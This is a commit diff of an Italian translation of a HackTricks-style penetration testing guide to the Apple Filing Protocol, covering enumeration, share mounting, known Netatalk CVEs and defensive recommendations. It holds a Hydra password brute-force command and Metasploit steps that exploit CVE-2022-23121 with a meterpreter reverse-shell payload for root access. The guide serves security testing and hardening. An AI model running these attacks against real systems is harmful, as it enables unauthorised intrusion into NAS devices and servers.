Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to

This commit is contained in:
Translator 2025-08-14 03:07:14 +00:00
parent d583f68f36
commit c29e6aad24

View File

@ -4,27 +4,109 @@
## Informazioni di base
Il **Apple Filing Protocol** (**AFP**), un tempo noto come AppleTalk Filing Protocol, è un protocollo di rete specializzato incluso nel **Apple File Service** (**AFS**). È progettato per fornire servizi di file per macOS e il classico Mac OS. AFP si distingue per il supporto dei nomi di file Unicode, delle autorizzazioni POSIX e delle liste di controllo degli accessi, dei resource forks, degli attributi estesi nominati e di meccanismi di blocco dei file sofisticati. È stato il protocollo principale per i servizi di file in Mac OS 9 e versioni precedenti.
Il **Apple Filing Protocol** (**AFP**), un tempo noto come AppleTalk Filing Protocol, è un protocollo di rete specializzato incluso all'interno del **Apple File Service** (**AFS**). È progettato per fornire servizi di file per macOS e il classico Mac OS. AFP si distingue per il supporto dei nomi di file Unicode, delle autorizzazioni in stile POSIX e ACL, dei resource forks, degli attributi estesi nominati e di meccanismi di blocco dei file sofisticati.
**Porta predefinita:** 548
Sebbene AFP sia stato superato da SMB nelle versioni moderne di macOS (SMB è il predefinito dalla versione OS X 10.9), è ancora presente in:
* Ambienti legacy di macOS / Mac OS 9
* Dispositivi NAS (QNAP, Synology, Western Digital, TrueNAS…) che integrano il demone open-source **Netatalk**
* Reti miste di sistemi operativi dove Time-Machine-over-AFP è ancora abilitato
**Porta TCP predefinita:** **548** (AFP su TCP / DSI)
```bash
PORT STATE SERVICE
548/tcp open afp
PORT STATE SERVICE
548/tcp open afp
```
### **Enumerazione**
---
Per l'enumerazione dei servizi AFP, i seguenti comandi e script sono utili:
## Enumerazione
### Informazioni rapide su banner / server
```bash
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
```
**Script e Loro Descrizioni:**
Utili script NSE per AFP:
- **afp-ls**: Questo script viene utilizzato per elencare i volumi e i file AFP disponibili.
- **afp-path-vuln**: Elenca tutti i volumi e i file AFP, evidenziando potenziali vulnerabilità.
- **afp-serverinfo**: Fornisce informazioni dettagliate sul server AFP.
- **afp-showmount**: Elenca le condivisioni AFP disponibili insieme ai rispettivi ACL.
| Script | Cosa fa |
|--------|--------------|
| **afp-ls** | Elenca i volumi e i file AFP disponibili |
| **afp-brute** | Attacco di forza bruta della password contro il login AFP |
| **afp-serverinfo** | Estrae il nome del server, il tipo di macchina, la versione AFP, gli UAM supportati, ecc. |
| **afp-showmount** | Elenca le condivisioni insieme alle loro ACL |
| **afp-path-vuln** | Rileva (e può sfruttare) la traversata delle directory, CVE-2010-0533 |
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
Lo script di forza bruta NSE può essere combinato con Hydra/Medusa se è necessario un maggiore controllo:
```bash
hydra -L users.txt -P passwords.txt afp://<IP>
```
### Interagire con le condivisioni
*macOS*
```bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
```
*Linux* (utilizzando `afpfs-ng` incluso nella maggior parte delle distribuzioni)
```bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
```
Una volta montato, ricorda che i classici resource-forks di Mac sono memorizzati come file nascosti `._*` AppleDouble questi spesso contengono metadati interessanti che gli strumenti DFIR trascurano.
---
## Vulnerabilità comuni e sfruttamento
### Catena RCE non autenticata di Netatalk (2022)
Diversi fornitori di NAS hanno distribuito **Netatalk ≤3.1.12**. La mancanza di controllo dei limiti in `parse_entries()` consente a un attaccante di creare un'intestazione **AppleDouble** malevola e ottenere **root remoto** prima dell'autenticazione (**CVSS 9.8 CVE-2022-23121**). Un'analisi completa da parte di NCC Group con PoC che sfrutta Western-Digital PR4100 è disponibile.
Metasploit (>= 6.3) include il modulo `exploit/linux/netatalk/parse_entries` che consegna il payload tramite DSI `WRITE`.
```bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
```
Se il target esegue un firmware QNAP/Synology vulnerabile, un'esploitazione riuscita fornisce una shell come **root**.
### Overflow del heap OpenSession di Netatalk (2018)
Le versioni più vecchie di Netatalk (3.0.0 - 3.1.11) sono vulnerabili a una scrittura fuori dai limiti nel gestore **DSI OpenSession**, consentendo l'esecuzione di codice non autenticato (**CVE-2018-1160**). Un'analisi dettagliata e un PoC sono stati pubblicati da Tenable Research.
### Altri problemi notevoli
* **CVE-2022-22995** Redirezione di symlink che porta a scrittura di file arbitrari / RCE quando AppleDouble v2 è abilitato (3.1.0 - 3.1.17).
* **CVE-2010-0533** Traversata di directory in Apple Mac OS X 10.6 AFP (rilevato da `afp-path-vuln.nse`).
* Sono stati risolti diversi bug di sicurezza della memoria in **Netatalk 4.x (2024)** si consiglia di aggiornare piuttosto che applicare patch a singoli CVE.
---
## Raccomandazioni difensive
1. **Disabilitare AFP** a meno che non sia strettamente necessario utilizzare SMB3 o NFS invece.
2. Se AFP deve rimanere, **aggiornare Netatalk a ≥ 3.1.18 o 4.x**, o applicare firmware del fornitore che riporta le patch del 2022/2023/2024.
3. Applicare **Strong UAMs** (ad es. *DHX2*), disabilitare accessi in chiaro e guest.
4. Limitare TCP 548 a sottoreti fidate e incapsulare AFP all'interno di una VPN quando esposto remotamente.
5. Scansionare periodicamente con `nmap -p 548 --script afp-*` in CI/CD per catturare dispositivi non autorizzati / downgradati.
---
### [Brute-Force](../generic-hacking/brute-force.md#afp)
## Riferimenti
* Netatalk Security Advisory CVE-2022-23121 "Esecuzione di codice arbitrario in parse_entries" <https://netatalk.io/security/CVE-2022-23121>
* Tenable Research "Sfruttare un bug di 18 anni (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
{{#include ../banners/hacktricks-training.md}}